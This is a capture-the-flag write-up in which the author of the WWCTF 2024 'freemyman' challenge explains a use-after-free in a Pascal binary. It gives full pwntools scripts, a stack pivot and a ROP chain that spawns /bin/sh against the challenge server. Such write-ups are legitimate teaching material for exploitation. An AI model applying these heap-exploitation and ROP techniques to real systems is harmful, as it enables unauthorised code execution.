[WWCTF 2024] Pwn - Freemyman
Writeup: “freemyman” Challenge
I had the opportunity to create a pwn challenge for my team, World Wide Flag, for the WWCTF. It was my first time making a challenge from scratch, and I had a lot of fun doing it. I wanted to try something a bit original, so I centered the challenge around Pascal—a high-level language that still allows direct memory manipulation. Initially, I aimed for something like a double-free exploit, but since I didn’t have the time to do research on a “Malloc Maleficarum” in Pascal, I decided to design a use-after-free vulnerability instead. Here’s how the challenge could be solved:
Reverse Engineering
Loading the binary in IDA revealed the following functions, conveniently highlighted thanks to my use of debug symbols:
REQUEST_SUCESS
ADD_REQUEST
EDIT_REQUEST
DELETE_REQUEST
SHOW_REQUEST
ADD_DATA
These functions perform as expected based on their names:
-
ADD_REQUEST
Adds a request with a title and content.
-
EDIT_REQUEST
Allows editing of a request’s title and content by index.
-
DELETE_REQUEST
Frees a request based on its index.
-
ADD_DATA
Similar toADD_REQUEST
, but this time, no function pointer is added to the structure.
-
SHOW_REQUEST
Prints the title and content of a request. It also calls a function pointer residing on the heap if the request’s title length is zero.
Triggering the Vulnerability
Decompiling these functions revealed no checks to verify whether a request was freed before calling SHOW_REQUEST
. This creates a use-after-free vulnerability, allowing us to allocate data in the same memory region as the freed request and overwrite the function pointer. By doing so, we can execute arbitrary code.
Exploitation Steps:
- Create a request.
- Free the request.
- Allocate “data” in the same memory region.
- Use a cyclic pattern to determine the offset of the function pointer.
- Trigger the callback with
SHOW_REQUEST
.
Additionally, the title field must be empty to ensure the function pointer is called.
Here’s a simple script to trigger the vulnerability:
1from pwn import *
2
3elf = ELF("./freemyman", checksec=False)
4context.arch = "amd64"
5
6# Define menu functions
7def menu(idx): p.sendlineafter(b">> ", str(idx).encode())
8def add_req(title, content): menu(1); p.sendlineafter(b"Title: ", title); p.sendlineafter(b"Content: ", content)
9def free_req(idx): menu(4); p.sendline(str(idx).encode())
10def add_data(title, content): menu(5); p.sendlineafter(b"Title: ", title); p.sendlineafter(b"Content: ", content)
11def show_req(idx): menu(3); p.sendlineafter(b"show: ", str(idx).encode()); p.recvuntil(b"Title: "); return p.recvline()[:-1]
12
13p = process(elf.path)
14# p = remote("freemyman.chal.wwctf.com", 1337)
15
16# Steps
17add_req(b"test", b"miaou") # Step 1: Create request
18free_req(1) # Step 2: Free request
19add_data(b"", cyclic(200)) # Step 3: Add data
20menu(3) # Step 4: Show request
21p.interactive()
Debugging this in GDB shows a segmentation fault at:
0x401461 <P$FREEMYMANUAF_$$_SHOW_REQUEST$PREQUEST+81> call qword ptr [rax + 0x88]
Using cyclic -l
, we find that the function pointer is overwritten at offset 70.
Exploiting the Vulnerability
Now that we have arbitrary function call control, what can we do with it?
The function pointer call segfaults, but we also control the r10
register. Unfortunately, we can’t directly use ROP since we lack stack pointer control. However, we can pivot the stack using a useful gadget: xchg rsp, r10
.
Using this gadget, we can redirect the stack to an area we control and execute an elaborate ROP chain.
The “Great Mistake”
My original plan was for users to stack pivot into the STDIN buffer (since it’s predictable and within the binary). However, I overlooked the possibility of leaking a heap address via the use-after-free, which many players exploited.
Still, my stack-pivoting approach works and adds two challenges:
- The payload must fit within 256 bytes (due to STDIN buffer size).
- We must handle garbage instructions near the function pointer.
Here’s the final ROP chain for executing execve("/bin/sh", 0, 0)
:
1payload = b"A" * 2 # Padding
2payload += p64(pop_rdi) + p64(next(elf.search(b"/bin/sh\0")))
3payload += b"A" * 32 + p64(pop_rbx) # Avoid garbage instructions
4payload = payload.ljust(62, b"A")
5payload += p64(0x4834FC + 2) # r10 pivot location
6payload += p64(xchg_rsp_r10) # Stack pivot
7payload += b"junk" # Realign stack
8payload += p64(pop_rsi) + p64(0) * 4 # Null rsi and other registers
9payload += p64(pop_rax) + p64(0x468180) + p64(xchg_rdx_rax)
10payload += p64(pop_rax) + p64(0xFFFFFFFFFFFFFFFF - 0x11) + p64(0x40264A)
11payload += p64(elf.sym["BASEUNIX_$$_FPEXECVE$PCHAR$PPCHAR$PPCHAR$$LONGINT"]) # Execve syscall
And the final exploit script:
1from pwn import *
2
3elf = ELF("./freemyman", checksec=False)
4context.arch = "amd64"
5
6p = remote("freemyman.chal.wwctf.com", 1337)
7
8add_req(b"fullclip", b"gangstarr")
9free_req(1)
10add_data(b"", payload)
11menu(3)
12p.sendlineafter(b"show: ", b"1")
13p.interactive()
Conclusion
hope you appreciated my challenge . see you at the next ctf !